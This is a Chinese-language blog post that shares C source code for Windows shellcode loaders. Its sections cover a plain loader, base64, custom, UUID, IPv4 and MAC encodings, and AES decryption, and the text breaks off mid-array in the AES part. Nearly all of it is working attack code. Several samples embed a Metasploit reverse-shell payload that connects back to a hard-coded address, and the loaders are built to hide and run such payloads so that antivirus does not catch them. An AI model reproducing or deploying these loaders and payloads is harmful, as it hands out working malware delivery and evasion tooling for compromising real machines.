写过不少关于shellcode的文章，可以参看以前的。正好看到一组对shellcode加密手法的源码，难度不大，推荐给大家，开个脑洞。这个包含：简单的 shellcode 加载器，编码器（base64 - 自定义 - UUID - IPv4 - MAC），加密器（AES），无文件加载器（Winhttp，Sockets）。截图如下：
不多说，上代码。
1、简单加载
#include <Windows.h>
#include <stdio.h>
int main() {
// use payload/windows/x64/shell_reverse_tcp
// generate -f c
unsigned char payload[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
"x87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxff"
"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
"x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c"
"x63x2ex65x78x65x00";
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!alloc_mem) {
printf("Failed to Allocate memory (%u)n", GetLastError());
return -1;
}
MoveMemory(alloc_mem, payload, sizeof(payload));
//RtlMoveMemory(alloc_mem, payload, sizeof(payload));
DWORD oldProtect;
if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
printf("Failed to change memory protection (%u)n", GetLastError());
return -2;
}
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
printf("Failed to Create the thread (%u)n", GetLastError());
return -3;
}
printf("nnalloc_mem : %pn", alloc_mem);
WaitForSingleObject(tHandle, INFINITE);
getchar();
return 0;
}
2、Encoding:
2-1、Base64 Loading
#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "Crypt32.lib")
int main(void) {
// calc
//const char payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
// reverse shell
const char payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAATSZFuwDUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbqZpXRh/9VIgcRAAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvgHSoKQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q==";
DWORD payloadLen = sizeof(payload);
LPVOID alloc_mem = VirtualAlloc(0, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!alloc_mem) {
printf("Failed to allocate memory (%u)n", GetLastError());
return -1;
}
// base64 decoding
if (!CryptStringToBinaryA(payload, payloadLen, CRYPT_STRING_BASE64, (BYTE*)alloc_mem, &payloadLen, NULL, NULL)) {
printf("Failed to decode the payload(%u)n", GetLastError());
return -2;
}
DWORD OldProtect;
if (!VirtualProtect(alloc_mem, payloadLen, PAGE_EXECUTE_READ, &OldProtect)) {
printf("Failed to change memory protection (%u)n", GetLastError());
return -3;
}
((void(*)())alloc_mem)();
return 0;
}
2-2、Custom Encoding:
#include <Windows.h>
#include <stdio.h>
// calc
//unsigned char payload[] = { 0xfd, 0x4a, 0x84, 0xe6, 0xf1, 0xea, 0xc1, 0x2, 0x1, 0x2, 0x42, 0x53, 0x42, 0x52, 0x53, 0x53, 0x57, 0x4a, 0x32, 0xd4, 0x66, 0x4a, 0x8c, 0x54, 0x61, 0x4a, 0x8c, 0x54, 0x19, 0x4a, 0x8c, 0x54, 0x21, 0x4a, 0x8c, 0x74, 0x51, 0x4a, 0x10, 0xb9, 0x4b, 0x4c, 0x4e, 0x33, 0xca, 0x4a, 0x32, 0xc2, 0xad, 0x3e, 0x62, 0x7e, 0x3, 0x2e, 0x21, 0x43, 0xc2, 0xcb, 0xe, 0x43, 0x2, 0xc3, 0xe3, 0xef, 0x53, 0x43, 0x52, 0x4a, 0x8c, 0x54, 0x21, 0x8d, 0x43, 0x3e, 0x49, 0x3, 0xd1, 0x8d, 0x81, 0x8a, 0x1, 0x2, 0x1, 0x4a, 0x86, 0xc2, 0x75, 0x69, 0x49, 0x3, 0xd1, 0x52, 0x8c, 0x4a, 0x19, 0x46, 0x8c, 0x42, 0x21, 0x4b, 0x2, 0xd2, 0xe4, 0x58, 0x49, 0x101, 0xca, 0x43, 0x8c, 0x36, 0x89, 0x4a, 0x2, 0xd8, 0x4e, 0x33, 0xca, 0x4a, 0x32, 0xc2, 0xad, 0x43, 0xc2, 0xcb, 0xe, 0x43, 0x2, 0xc3, 0x39, 0xe2, 0x76, 0xf3, 0x4d, 0x5, 0x4d, 0x26, 0x9, 0x47, 0x3a, 0xd3, 0x76, 0xda, 0x59, 0x46, 0x8c, 0x42, 0x25, 0x4b, 0x2, 0xd2, 0x67, 0x43, 0x8c, 0xe, 0x49, 0x46, 0x8c, 0x42, 0x1d, 0x4b, 0x2, 0xd2, 0x42, 0x8d, 0x5, 0x8a, 0x49, 0x3, 0xd1, 0x43, 0x59, 0x43, 0x59, 0x60, 0x5a, 0x5c, 0x42, 0x5a, 0x42, 0x5b, 0x42, 0x5c, 0x49, 0x85, 0xed, 0x22, 0x42, 0x54, 0x100, 0xe2, 0x59, 0x43, 0x5a, 0x5c, 0x49, 0x8d, 0x13, 0xeb, 0x58, 0x101, 0x100, 0x101, 0x5e, 0x4a, 0xbb, 0x3, 0x1, 0x2, 0x1, 0x2, 0x1, 0x2, 0x1, 0x4a, 0x8e, 0x8f, 0x2, 0x3, 0x1, 0x2, 0x42, 0xbc, 0x32, 0x8d, 0x70, 0x89, 0x100, 0xd7, 0xbc, 0xf2, 0xb6, 0xa4, 0x57, 0x43, 0xbb, 0xa8, 0x96, 0xbf, 0x9e, 0x101, 0xd6, 0x4a, 0x84, 0xc6, 0x29, 0x3e, 0x7, 0x7e, 0xb, 0x82, 0xfc, 0xe2, 0x76, 0x7, 0xbc, 0x49, 0x14, 0x74, 0x70, 0x6c, 0x1, 0x5b, 0x42, 0x8b, 0xdb, 0x101, 0xd6, 0x65, 0x62, 0x6e, 0x64, 0x30, 0x66, 0x7a, 0x66, 0x2 };
// reverse shell
unsigned char payload[] = { 0xfd, 0x4a, 0x84, 0xe6, 0xf1, 0xea, 0xc1, 0x2, 0x1, 0x2, 0x42, 0x53, 0x42, 0x52, 0x53, 0x53, 0x57, 0x4a, 0x32, 0xd4, 0x66, 0x4a, 0x8c, 0x54, 0x61, 0x4a, 0x8c, 0x54, 0x19, 0x4a, 0x8c, 0x54, 0x21, 0x4a, 0x8c, 0x74, 0x51, 0x4a, 0x10, 0xb9, 0x4b, 0x4c, 0x4e, 0x33, 0xca, 0x4a, 0x32, 0xc2, 0xad, 0x3e, 0x62, 0x7e, 0x3, 0x2e, 0x21, 0x43, 0xc2, 0xcb, 0xe, 0x43, 0x2, 0xc3, 0xe3, 0xef, 0x53, 0x43, 0x52, 0x4a, 0x8c, 0x54, 0x21, 0x8d, 0x43, 0x3e, 0x49, 0x3, 0xd1, 0x8d, 0x81, 0x8a, 0x1, 0x2, 0x1, 0x4a, 0x86, 0xc2, 0x75, 0x69, 0x49, 0x3, 0xd1, 0x52, 0x8c, 0x4a, 0x19, 0x46, 0x8c, 0x42, 0x21, 0x4b, 0x2, 0xd2, 0xe4, 0x58, 0x49, 0x101, 0xca, 0x43, 0x8c, 0x36, 0x89, 0x4a, 0x2, 0xd8, 0x4e, 0x33, 0xca, 0x4a, 0x32, 0xc2, 0xad, 0x43, 0xc2, 0xcb, 0xe, 0x43, 0x2, 0xc3, 0x39, 0xe2, 0x76, 0xf3, 0x4d, 0x5, 0x4d, 0x26, 0x9, 0x47, 0x3a, 0xd3, 0x76, 0xda, 0x59, 0x46, 0x8c, 0x42, 0x25, 0x4b, 0x2, 0xd2, 0x67, 0x43, 0x8c, 0xe, 0x49, 0x46, 0x8c, 0x42, 0x1d, 0x4b, 0x2, 0xd2, 0x42, 0x8d, 0x5, 0x8a, 0x49, 0x3, 0xd1, 0x43, 0x59, 0x43, 0x59, 0x60, 0x5a, 0x5c, 0x42, 0x5a, 0x42, 0x5b, 0x42, 0x5c, 0x49, 0x85, 0xed, 0x22, 0x42, 0x54, 0x100, 0xe2, 0x59, 0x43, 0x5a, 0x5c, 0x49, 0x8d, 0x13, 0xeb, 0x58, 0x101, 0x100, 0x101, 0x5e, 0x4b, 0xbf, 0x79, 0x74, 0x34, 0x60, 0x35, 0x33, 0x2, 0x1, 0x43, 0x57, 0x4b, 0x8a, 0xe8, 0x49, 0x83, 0xed, 0xa2, 0x2, 0x2, 0x1, 0x4b, 0x8a, 0xe7, 0x4a, 0xbe, 0x3, 0x2, 0x5, 0xd4, 0x65, 0x5d, 0xb1, 0xf, 0x42, 0x56, 0x4a, 0x8b, 0xe5, 0x4e, 0x8a, 0xf3, 0x42, 0xbc, 0x4d, 0x79, 0x27, 0x9, 0x100, 0xd7, 0x4d, 0x8b, 0xeb, 0x6a, 0x2, 0x3, 0x1, 0x2, 0x5a, 0x43, 0xbb, 0x2b, 0x81, 0x6d, 0x1, 0x101, 0xd6, 0x52, 0x51, 0x4f, 0x32, 0xcb, 0x4e, 0x33, 0xc1, 0x4a, 0x100, 0xc2, 0x49, 0x8b, 0xc3, 0x4a, 0x100, 0xc2, 0x49, 0x8b, 0xc2, 0x43, 0xbb, 0xec, 0x10, 0xe1, 0xe1, 0x101, 0xd6, 0x4a, 0x8a, 0xc9, 0x6b, 0x12, 0x42, 0x5a, 0x4d, 0x8b, 0xe3, 0x4a, 0x8a, 0xfb, 0x42, 0xbc, 0x9a, 0xa7, 0x75, 0x63, 0x100, 0xd7, 0x49, 0x83, 0xc5, 0x42, 0x3, 0x2, 0x1, 0x4b, 0xb9, 0x65, 0x6e, 0x66, 0x1, 0x2, 0x1, 0x2, 0x1, 0x43, 0x51, 0x43, 0x51, 0x4a, 0x8a, 0xe4, 0x58, 0x59, 0x58, 0x4f, 0x32, 0xc2, 0x6b, 0xf, 0x5a, 0x43, 0x51, 0xe4, 0xfd, 0x68, 0xc8, 0x46, 0x25, 0x56, 0x2, 0x3, 0x49, 0x8f, 0x45, 0x26, 0x19, 0xc8, 0x1, 0x6a, 0x49, 0x8b, 0xe7, 0x58, 0x51, 0x43, 0x51, 0x43, 0x51, 0x43, 0x51, 0x4b, 0x100, 0xc2, 0x42, 0x52, 0x4a, 0x101, 0xc9, 0x4f, 0x8a, 0xc3, 0x4d, 0x8b, 0xc2, 0x43, 0xbb, 0x7b, 0xcd, 0x41, 0x87, 0x101, 0xd6, 0x4a, 0x32, 0xd4, 0x49, 0x101, 0xcb, 0x8d, 0xf, 0x43, 0xbb, 0xa, 0x88, 0x1f, 0x61, 0x101, 0xd6, 0xbd, 0xe1, 0x1f, 0x2b, 0xc, 0x42, 0xbc, 0xa7, 0x97, 0xbe, 0x9f, 0x100, 0xd7, 0x49, 0x85, 0xc5, 0x2a, 0x3d, 0x8, 0x7d, 0xc, 0x81, 0xfd, 0xe1, 0x77, 0x6, 0xbd, 0x48, 0x15, 0x73, 0x71, 0x6b, 0x2, 0x5a, 0x43, 0x8a, 0xdc, 0x100, 0xd7 };
DWORD payloadLen = sizeof(payload);
void Decode(unsigned char* payload) {
for (int i = 0; i < payloadLen; i++) {
if (i % 2 == 0) {
payload[i]--;
}
else {
payload[i] -= 2;
}
}
}
int main() {
LPVOID alloc_mem = VirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!alloc_mem) {
printf("Failed to Allocate memory (%u)n", GetLastError());
return -1;
}
Decode(payload);
CopyMemory(alloc_mem, payload, payloadLen);
DWORD OldProtect;
if (!VirtualProtect(alloc_mem, payloadLen, PAGE_EXECUTE_READ, &OldProtect)) {
printf("Failed to Change memory protection (%u)n", GetLastError());
return -2;
}
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
printf("Failed to create the Thread (%u)n", GetLastError());
return -3;
}
WaitForSingleObject(tHandle, INFINITE);
return 0;
}
2-3、UUID shellcode：
// Stephan Borosh (rvrsh3ll|@424f424f) & Matt Kingstone for the technique
#include <Windows.h>
#include <stdio.h>
#include <Rpc.h>
#pragma comment(lib, "Rpcrt4.lib")
int main() {
const char* uuids[] = {
"e48348fc-e8f0-00c0-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52",
"728b4820-4850-b70f-4a4a-4d31c94831c0",
"7c613cac-2c02-4120-c1c9-0d4101c1e2ed",
"48514152-528b-8b20-423c-4801d08b8088",
"48000000-c085-6774-4801-d0508b481844",
"4920408b-d001-56e3-48ff-c9418b348848",
"314dd601-48c9-c031-ac41-c1c90d4101c1",
"f175e038-034c-244c-0845-39d175d85844",
"4924408b-d001-4166-8b0c-48448b401c49",
"8b41d001-8804-0148-d041-5841585e595a",
"59415841-5a41-8348-ec20-4152ffe05841",
"8b485a59-e912-ff57-ffff-5d49be777332",
"0032335f-4100-4956-89e6-4881eca00100",
"e5894900-bc49-0002-04d2-645bb00d4154",
"4ce48949-f189-ba41-4c77-2607ffd54c89",
"010168ea-0000-4159-ba29-806b00ffd550",
"c9314d50-314d-48c0-ffc0-4889c248ffc0",
"41c18948-eaba-df0f-e0ff-d54889c76a10",
"894c5841-48e2-f989-41ba-99a57461ffd5",
"40c48148-0002-4900-b863-6d6400000000",
"41504100-4850-e289-5757-574d31c06a0d",
"e2504159-66fc-44c7-2454-0101488d4424",
"6800c618-8948-56e6-5041-504150415049",
"5041c0ff-ff49-4dc8-89c1-4c89c141ba79",
"ff863fcc-48d5-d231-48ff-ca8b0e41ba08",
"ff601d87-bbd5-1de0-2a0a-41baa695bd9d",
"8348d5ff-28c4-063c-7c0a-80fbe07505bb",
"6f721347-006a-4159-89da-ffd590909090"
};
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* alloc_mem = HeapAlloc(hHeap, 0, 0x1000);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
int init = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA != RPC_S_OKn");
CloseHandle(alloc_mem);
return -1;
}
ptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)alloc_mem, 0);
return 0;
}
2-4、IPv4 shellcode：
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
int main() {
const char* IPv4s[] =
{
"252.72.131.228",
"240.232.192.0",
"0.0.65.81",
"65.80.82.81",
"86.72.49.210",
"101.72.139.82",
"96.72.139.82",
"24.72.139.82",
"32.72.139.114",
"80.72.15.183",
"74.74.77.49",
"201.72.49.192",
"172.60.97.124",
"2.44.32.65",
"193.201.13.65",
"1.193.226.237",
"82.65.81.72",
"139.82.32.139",
"66.60.72.1",
"208.139.128.136",
"0.0.0.72",
"133.192.116.103",
"72.1.208.80",
"139.72.24.68",
"139.64.32.73",
"1.208.227.86",
"72.255.201.65",
"139.52.136.72",
"1.214.77.49",
"201.72.49.192",
"172.65.193.201",
"13.65.1.193",
"56.224.117.241",
"76.3.76.36",
"8.69.57.209",
"117.216.88.68",
"139.64.36.73",
"1.208.102.65",
"139.12.72.68",
"139.64.28.73",
"1.208.65.139",
"4.136.72.1",
"208.65.88.65",
"88.94.89.90",
"65.88.65.89",
"65.90.72.131",
"236.32.65.82",
"255.224.88.65",
"89.90.72.139",
"18.233.87.255",
"255.255.93.73",
"190.119.115.50",
"95.51.50.0",
"0.65.86.73",
"137.230.72.129",
"236.160.1.0",
"0.73.137.229",
"73.188.2.0",
"4.210.100.91",
"176.26.65.84",
"73.137.228.76",
"137.241.65.186",
"76.119.38.7",
"255.213.76.137",
"234.104.1.1",
"0.0.89.65",
"186.41.128.107",
"0.255.213.80",
"80.77.49.201",
"77.49.192.72",
"255.192.72.137",
"194.72.255.192",
"72.137.193.65",
"186.234.15.223",
"224.255.213.72",
"137.199.106.16",
"65.88.76.137",
"226.72.137.249",
"65.186.153.165",
"116.97.255.213",
"72.129.196.64",
"2.0.0.73",
"184.99.109.100",
"0.0.0.0",
"0.65.80.65",
"80.72.137.226",
"87.87.87.77",
"49.192.106.13",
"89.65.80.226",
"252.102.199.68",
"36.84.1.1",
"72.141.68.36",
"24.198.0.104",
"72.137.230.86",
"80.65.80.65",
"80.65.80.73",
"255.192.65.80",
"73.255.200.77",
"137.193.76.137",
"193.65.186.121",
"204.63.134.255",
"213.72.49.210",
"72.255.202.139",
"14.65.186.8",
"135.29.96.255",
"213.187.224.29",
"42.10.65.186",
"166.149.189.157",
"255.213.72.131",
"196.40.60.6",
"124.10.128.251",
"224.117.5.187",
"71.19.114.111",
"106.0.89.65",
"137.218.255.213",
};
PCSTR Terminator = NULL;
PVOID LpBaseAddress = NULL;
PVOID LpBaseAddress2 = NULL;
NTSTATUS STATUS;
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
if (!hHeap) {
printf("Failed to create a heap (%u)n", GetLastError());
return -1;
}
void* alloc_mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x1000);
if (!alloc_mem) {
printf("Failed to allocate memory on the heap (%u)n", GetLastError());
return -2;
}
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)IPv4s[i], FALSE, &Terminator, (in_addr*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", IPv4s[i], STATUS, GetLastError());
return FALSE;
}
ptr += 4;
}
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
printf("Failed to Create the thread (%u)n", GetLastError());
return -3;
}
WaitForSingleObject(tHandle, INFINITE);
return 0;
}
2-5、MAC shellcode：
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
int Error(const char* msg) {
printf("%s (%u)", msg, GetLastError());
return 1;
}
int main() {
const char* MAC[] =
{
"90-90-90-90-90-90",
"90-90-90-90-90-90",
"90-90-90-90-90-90",
"90-90-90-90-90-90",
"90-90-90-90-90-90",
"90-90-90-90-90-90",
"90-90-90-90-90-90"
};
int rowLen = sizeof(MAC) / sizeof(MAC[0]);
PCSTR Terminator = NULL;
NTSTATUS STATUS;
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* alloc_mem = HeapAlloc(hHeap, 0, 0x1000);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
for (int i = 0; i < rowLen; i++) {
STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator, (DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", MAC[i], STATUS, GetLastError());
return FALSE;
}
ptr += 6;
}
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
printf("Failed to Create the thread (%u)n", GetLastError());
return -3;
}
WaitForSingleObject(tHandle, INFINITE);
printf("alloc_memn", alloc_mem);
getchar();
return 0;
}
3、Encrypting：
3-1、AES:
#include <Windows.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment(lib, "ntdll")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
EXTERN_C NTSTATUS NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout
);
void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("Failed in CryptAcquireContextW (%u)n", GetLastError());
return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
printf("Failed in CryptCreateHash (%u)n", GetLastError());
return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
printf("Failed in CryptHashData (%u)n", GetLastError());
return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
printf("Failed in CryptDeriveKey (%u)n", GetLastError());
return;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
printf("Failed in CryptDecrypt (%u)n", GetLastError());
return;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
int main(int argc, char** argv) {
char AESkey[] = { 0x64, 0xb5, 0x31, 0xfe, 0xb3, 0x6b, 0xb3, 0x8c, 0x88, 0x6a, 0x4c, 0x38, 0xc, 0xcb, 0x19, 0x4a };
unsigned char AESshellcode[] = { 0x8, 0x21, 0x22, 0xeb, 0xfa, 0xdb, 0x42, 0x9, 0x8e, 0x24, 0xb6, 0x10, 0xfb, 0x93, 0x5b, 0xfe, 0xc3, 0x9d, 0x75, 0x68, 0xcc, 0x35, 0xd0, 0xef, 0xfd, 0x23, 0x70, 0xe3, 0x1, 0x3d, 0x8f, 0xd0, 0xe6, 0x5b, 0x97, 0x5e, 0x79, 0x78, 0x55, 0xf9, 0xaf, 0x71, 0x67, 0x78, 0x3c, 0xd9, 0x4a, 0xe7, 0x81, 0xc, 0xe5, 0x50, 0x46, 0x47, 0xa, 0x2e, 0x79, 0x5b, 0x6f, 0x43, 0x4d, 0x10, 0x2d, 0x35, 0x93, 0x94, 0xdd, 0x8f, 0x36, 0x2d, 0x3, 0xed, 0x9, 0x33, 0xed, 0xe3, 0xe1, 0x43, 0x17, 0xb6, 0xff, 0xe9, 0x69, 0x33, 0x1c, 0x81, 0x83, 0xb, 0xbf, 0x13, 0x1c, 0x25, 0xd5, 0x2f, 0xb8, 0x90, 0x6d, 0x1e, 0xd3, 0x11, 0xd, 0x29, 0xf7, 0x13, 0xde, 0x7e, 0x71, 0x53, 0x7, 0x44, 0xf3, 0xf6, 0xf6, 0xc3, 0x54, 0xb3, 0xaa, 0xe1, 0xd6, 0xbf, 0x1e, 0xa, 0x9c, 0x25, 0x72, 0x9e, 0x8b, 0x54, 0x62, 0x1c, 0xd9, 0x72, 0xab, 0xbd, 0x30, 0x47, 0x65, 0xd2, 0x0, 0x45, 0xb, 0xc4, 0x16, 0xbb, 0x80, 0xf, 0xd4, 0x0, 0x22, 0x40, 0xd3, 0x4d, 0xbb, 0x3f, 0x64, 0xe1, 0xa8, 0x2a, 0x60, 0x1e, 0xd1, 0x0, 0xd9, 0xb3, 0x46, 0xb6, 0x1c, 0xd0, 0xe2, 0xe1, 0x7d, 0x99, 0x9f, 0x8a, 0x70, 0xd5, 0x7d, 0x9c, 0x88, 0xd, 0x2d, 0xbb, 0x4c, 0x2a, 0x3f, 0xeb, 0xfd, 0xdd, 0xad, 0x8f, 0xba, 0xcc, 0x87, 0x3, 0xcf, 0x8f, 0x15, 0x54, 0xc5, 0xc1, 0xa2, 0xcb, 0x9b, 0x14, 0xae, 0xcb, 0x8, 0xf, 0x5a, 0xae, 0x6d, 0x63, 0xf3, 0x82, 0xe2, 0xec, 0x79, 0xe0, 0x1c, 0xb1, 0x85, 0xa9, 0x22, 0xb0, 0x66, 0xe9, 0x73, 0xbe, 0xdc, 0xac, 0xdc, 0x7d, 0x2e, 0xac, 0x5d, 0x29, 0x23, 0x44, 0x11, 0xee, 0xbf, 0xc9, 0x60, 0xa2, 0x1e, 0x7, 0x6d, 0x9e, 0x56, 0xf2, 0xb4, 0x2a, 0xb6, 0x83, 0x4, 0xca, 0x7e, 0xcb, 0x7e, 0x63, 0x8a, 0x70, 0xa1, 0xe5, 0x1f, 0x6f, 0xa, 0x21, 0x2e, 0x5b, 0x4c, 0x6a, 0x62, 0x84, 0x70, 0x33, 0x84, 0xca, 0x48, 0x39, 0x6b, 0x64, 0xc6, 0x4, 0xc6, 0x6f, 0xe2, 0x6d, 0x29, 0xda, 0x78, 0x64, 0x59, 0x13, 0xfe, 0x2, 0x3, 0xd9, 0xe, 0x7e, 0x97, 0x10, 0x7c, 0xbd, 0x9a, 0xf1, 0xbf, 0xce, 0x4e, 0x4, 0xf1, 0x93, 0x25, 0x88, 0x52, 0x99, 0x44, 0xbd, 0x52, 0x7c, 0xfe, 0x2c, 0xdb, 0x50, 0x9, 0x3b, 0x2a, 0xd, 0x30, 0x73, 0x3c, 0x8c, 0xee, 0xec, 0xb8, 0xc8, 0xe3, 0x3d, 0x48, 0xed, 0xc0, 0x4b, 0xd1, 0x8d, 0x48, 0x0, 0x3, 0xd8, 0xc, 0xde, 0x69, 0xf9, 0xe, 0xda, 0x31, 0xfe, 0xb6, 0x77, 0xc4, 0x4d, 0x31, 0x25, 0xc5, 0xd1, 0xa1, 0x11, 0x22, 0x15, 0x8, 0xc7, 0xa5, 0x73, 0x19, 0x3a, 0x87, 0x5, 0xcc, 0x37, 0x34, 0xad, 0x8a, 0xfa, 0xae, 0x6b, 0xf8, 0x38, 0x4a, 0x5, 0x2e, 0x74, 0xda, 0x77, 0x2a, 0xa0, 0x4f, 0xab, 0xcd, 0xbb, 0x2e, 0x2f, 0xb8, 0xf7, 0xa1, 0x91, 0x8e, 0x42, 0x43, 0x85, 0xa, 0x6b, 0xfd, 0x6d, 0x37, 0xd8, 0xa, 0x53, 0x9f, 0x54, 0x49, 0x26, 0x2a, 0x6d, 0x9e, 0x85, 0x30, 0xe5, 0xc7, 0x91, 0x80, 0x75, 0x79, 0xc1, 0x2a, 0x87, 0xc9, 0xd0, 0x47, 0xdd, 0xc3, 0x9f, 0x66, 0xf0, 0x23, 0xf1, 